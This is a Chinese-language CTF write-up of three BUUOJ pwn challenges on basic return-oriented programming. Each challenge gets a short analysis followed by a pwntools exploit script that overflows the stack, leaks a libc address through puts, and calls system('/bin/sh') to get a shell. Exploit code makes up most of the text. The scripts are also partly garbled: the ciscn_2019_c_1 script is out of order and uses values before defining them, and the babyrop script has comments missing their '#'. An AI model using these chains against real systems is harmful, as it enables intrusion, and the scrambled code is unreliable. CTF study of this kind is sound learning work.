Niyah

基本ROP

# get_started_3dsctf_2016

首先例行检查,是 32 位程序,而且栈溢出是可行的

接下来进入 IDA 分析,我们可以看到一个明显的栈溢出漏洞

接下来寻找有没有后门函数,发现是有的,main 函数之上有个 get_flag 函数

点进去分析,这个函数需要传入两个参数,只要等于以下数字就可以拿到 flag

我们可以根据如此就写下脚本,但我们发现这其实是不行的,经百度是原来的函数没有正常退出所导致的,所以我们需要先退出 gets 函数再传入参数

所以我们先找到可以结束 gets 函数的函数即 exit 函数

我们在调用后门函数之后使用 exit 函数就行了 exp 如下

from pwn import *

context.log_level ="debug"
#p = process("get_started_3dsctf_2016")
p = remote("node3.buuoj.cn",27286)

get_flag = 0x080489A0
exit = 0x0804E6A0
payload = "a"*0x38  +p32(get_flag)+p32(exit) + p32(814536271)+p32(425138641)

p.sendline(payload)
p.interactive()

# babyrop

首先例行检查,32 位程序,可以栈溢出,进入主要函数分析,这里我们先要进行一波绕过

strncmp 函数,对字符进行比较时会被 “/x00” 截断

这次输入我们再需要做点事情才能进行下一步 rop,因为其返回值为 v5 也是栈上的变量,直接用 IDA 查看栈分布,发现 v5 就在下面,那么我们可以直接覆盖掉

具体覆盖的值在下一个判断,我们可以看到 else 语句时,我们覆盖掉的值减去 0xe7 便是我们可以构造的 rop 链长度,所以我们尽量往大处覆盖

在这之后便是正常的 rop,Exp 如下

from pwn import *
from LibcSearcher import LibcSearcher #查libc的库
import pwnlib
context.log_level = "debug"

p = remote("node3.buuoj.cn",27117)
elf = ELF('./babyrop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048825

payload1 = b"\x00"*7+p32(11451)  #第一次输入 截断+覆盖

payload2 = "a"*0xe7 + "niya" +p32(puts_plt) + p32(main) + p32(puts_got)
#第二次输入,泄露puts函数的地址,返回到main函数继续rop

p.sendline(payload1)
p.sendlineafter ("ct\n",payload2)

puts_addr = u32(p.recv(4))  接收4个字节将其解包作为puts函数地址

print(hex(puts_addr))  
libc = LibcSearcher('puts',puts_addr)  通过找到的puts函数寻找出libc

libc_base = puts_addr - libc.dump('puts')   #计算基地址
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload3 = "a"*0xe7 + "niya" + p32(system_addr)+p32(0) + p32(binsh_addr)

p.sendline(payload1)
p.sendlineafter("ct\n",payload3)

p.interactive()

# ciscn_2019_c_1

首先我们对程序进行检查,64 位程序且只开了栈不可执行,那么我们找到溢出点便可以进行溢出

进入 IDA 进行分析,我们可以看到当用户选择 1 时会进入如下函数

我们可以明显地看到溢出点便是这个 gets 函数,之后就是愉快的构造 rop 链的环节,我们首先去寻找可以输出的函数去通过泄露 libc,我们很快就可以看到一个 puts 函数,puts 函数需要一个参数,这个参数即 puts 的 got 表地址

然后我们需要知道 64 程序的传参方式和 32 位的不大一样,所以我们需要找到控制传参的 gadget 片段,用 ROPgadget --binary ciscn_2019_c_1 搜索

这便是我们需要的片段(因为我们需要传第一个参数到 rdi),泄露之后我们要返回到 main 函数进入下一步 getshell,在此之前我们要通过泄露出的 puts 函数的地址找到 libc 这里我们使用 LibcSearcher 这个库,之后找出 system 地址和 binsh 地址,但我们完成之后发现并不能行得通

到这步为止我们正确地输出了 puts 函数的地址,也找出了 libc 库

最后却提示了 timeout,这是怎么回事呢,这个时候我们可以通过 gdb.attach(p)来进行本地调试,但我选择了百度,发现是 Ubuntu 的栈对齐机制,我们需要再找一个 ret 来平衡栈,修改后成功 getshell

from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib
context.log_level = 'debug'

p = remote("node3.buuoj.cn",25704)
#p = process("./ciscn_2019_c_1")

#gdb.attach(p)

puts_plt = 0x00000000004006E0
puts_got = 0x0000000000602020
main_addr = 0x0000000000400B28
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))

print hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = "a"*0x58  +p64(ret)+ p64(pop_rdi) + p64(binsh_addr) +p64(sys_addr)

p.sendlineafter("your choice!\n","1")
p.sendlineafter("be encrypted\n",payload2)

p.interactive()

pop_rdi = 0x0000000000400c83
ret = 0x4006b9

payload = "a"*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +p64(main_addr)

p.sendlineafter("your choice!\n","1")
p.sendlineafter("be encrypted\n",payload)
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))

print hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = "a"*0x58  +p64(ret)+ p64(pop_rdi) + p64(binsh_addr) +p64(sys_addr)

p.sendlineafter("your choice!\n","1")
p.sendlineafter("be encrypted\n",payload2)

p.interactive()

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。